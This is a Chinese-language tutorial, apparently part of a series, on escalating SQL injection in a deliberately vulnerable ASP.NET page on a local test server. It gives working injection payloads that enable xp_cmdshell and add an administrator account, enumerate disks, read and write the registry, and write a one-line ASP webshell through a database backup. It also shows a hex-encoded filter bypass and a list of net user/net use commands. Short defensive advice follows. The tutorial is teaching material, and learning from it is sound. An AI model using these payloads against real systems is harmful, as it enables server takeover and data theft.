SQL注入是一個比較「古老」的話題,雖然如今存在這種漏洞的站點比較少了,咱們仍是有必要了解一下它的危害,及其經常使用的手段,知己知彼方能百戰不殆。進攻與防守至關於矛和盾的關係,咱們若是能清楚瞭解html
攻擊的全過程,就能夠更好的預防相似狀況的出現。web
前兩篇文章介紹了攻擊者經過構造SQL語句來得到「非受權信息」,都是停留在數據庫層面的,其實它的威力可不只僅止於此吆。若是DB管理員有疏忽,再加上頁面有注入漏洞,危害不只僅像前兩篇最終網站後臺淪陷搞很差整個系統都有可能被人控制。sql
測試環境跟上一篇相同, MSQL + asp.net + win7。前面已經拿下了管理員用戶名、密碼,咱們仍是使用新聞詳細頁面 ( 方便測試,不設防 ): shell
public partial class NewsInfo : System.Web.UI.Page { protected NewsModel _news = new NewsModel(); protected void Page_Load(object sender, EventArgs e) { var id = Request["id"]; var sqlStr = "select * from news where id=" + id; var sqlCon = SqlHelper.GetConnection(); try { var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr); if (ds.Tables[0].Rows.Count <= 0) return; _news.Title = ds.Tables[0].Rows[0]["title"].ToString(); _news.Text = ds.Tables[0].Rows[0]["text"].ToString(); _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd"); } catch (Exception ex) { } } }
1. 添加系統用戶數據庫
這裏主要用到 xp_cmdshell 擴展存儲過程將命令字符串做爲操做系統命令 shell 執行,並以文本行的形式返回全部輸出。安全
因爲存在安全隱患,通常 xp_cmdshell 默認是關閉的。 若是要執行它首先要打開 xp_cmdshell 打開 xp_cmdshell 的語句服務器
--- 開啓 xp_cmdshell EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'show advanced options', 0 RECONFIGURE WITH OVERRIDE --關閉xp_cmdshell EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 0 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'show advanced options', 0
打開以後就能夠執行了,經過它能作的事情太多了,開啓你的想象力,在這裏咱們看看添加用戶 ,須要用到 net user 命令,的大體語法是這樣的網絡
net use \\ip\ipc$ " " /user:" " 創建IPC空連接 net use \\ip\ipc$ "密碼" /user:"用戶名" 創建IPC非空連接 net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登錄後映射對方C:到本地爲H: net use h: \\ip\c$ 登錄後映射對方C:到本地爲H: net use \\ip\ipc$ /del 刪除IPC連接 net use h: /del 刪除映射對方到本地的爲H:的映射 net user 用戶名 密碼 /add 創建用戶 net user guest /active:yes 激活guest用戶 net user 查看有哪些用戶 net user 賬戶名 查看賬戶的屬性 net localgroup /add administrators abc 將abc 添加到administrators 用戶組中 net user guest 12345 用guest用戶登錄後用將密碼改成12345
添加一個用戶 能夠構建一條SQL語句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。框架
在新聞詳細頁面URL地址裏輸入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新頁面,看看系統裏是否是多了一個test 用戶。asp.net
把 test用戶加入管理員組 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。
test用戶擁有管理員權限了。
2.遍歷磁盤目錄
對磁盤操做的語句以下
--獲取驅動器 exec master.dbo.xp_availablemedia
-- 得到子目錄列表 exec master.dbo.xp_subdirs 'c:\Users';
-- 得到全部子目錄的目錄樹結構
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的內容 exec xp_cmdshell 'type D:\test.txt';
URL地址欄輸入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回車建立一張表保存磁盤信息
URL地址欄輸入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盤信息插入表diskpath
在新聞列表頁輸入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服務磁盤列表
同理能夠遍歷服務器磁盤結構
3.讀取、修改註冊表
操做註冊表語法
--xp_regenumvalues 以多個記錄集方式返回全部鍵值 --用法: xp_regenumvalues 註冊表根鍵, 子鍵 exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定鍵的值 --用法:xp_regread 根鍵,子鍵,鍵值名 exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 寫入註冊表 --用法:xp_regwrite 根鍵,子鍵, 值名, 值類型, 值 (值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型 ) exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 刪除某個值 --用法:xp_regdeletevalue 根鍵,子鍵,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 刪除鍵,包括該鍵下全部值 --用法:xp_regdeletevalue 根鍵,子鍵 exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在這裏就操做手法跟查看服務器磁盤信息相似,這裏就不作相關演示了。想想,註冊表都能改了,開啓遠程桌面,查看遠程桌面開放的端口....等等等等,不都是手到擒來的事情嗎!
因此,爲了安全,若是不須要,DB管理員必定要把相關敏感的存儲過程刪除。應用程序鏈接字符串裏的用戶,若是沒有必要給個普通權限就行了,別動不動就把 sa 亮出來,安全爲重!!
4.構建websell
這裏構建websell實際上是利用 sql 的 backup 功能往web程序目錄下寫一個備份文件,只不過是在備份文件的擴展名上作了手腳。
create table cmd (str image) backup database SqlLinjection to disk = 'd:\cmd' with init insert into cmd (str) values ('<%execute request("cmd")%>') backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
這裏生成了一個asp頁面在網站目錄裏,裏面寫了經典的一句話木馬,經過它攻擊者就獲得了websell。看看能夠訪問嗎
具體這個小馬怎麼騎的,若是不清楚請本身 goole。
5.關於對字符的過濾
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴庫 裏,因爲時間問題,還有小部份內容沒寫,在這裏就補一下吧 (^.^) 。在文章最後一段管理員作了敏感字符的過濾,管理員過濾掉了空格,而攻擊者經過 /**/ 來代替空格繞過了過濾字符。感受頗有成就感,呵呵呵呵。真實環境中管理員發現了漏洞不太可能只過濾掉空格的。你不是注入嗎?我把單引號、等於號、空格 一塊兒都過濾掉,看你怎麼辦。。其實沒用的,我相信如今還存在僅僅把單引號替換雙單引號的網站。其
實在第一篇文章 WEB 安全之 SQL注入<一> 盲注 裏也說過,最好使用參數化查詢和預編譯查詢語句來預防SQL注入,固然使用一些現成的框架也能夠避免。經過過濾的手段要考慮周全,某一點沒考慮到,就會被攻擊者利用。
先看看這條SQL語句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看能夠執行嗎?看到這裏你們都明白了吧。攻擊者能夠不用單引號來執行同帶單引號語句有相同效果的命令,對付這樣的語句若是過濾的話怎麼作? (;@=0x 空格、關鍵字 統統都過濾掉嗎? 這就安全了嗎?很差說,誰知道還有哪些沒想到呢。
結束語:知恥然後勇 知不足而奮進。 拒絕漏洞從我作起,網絡安全程序猿有責。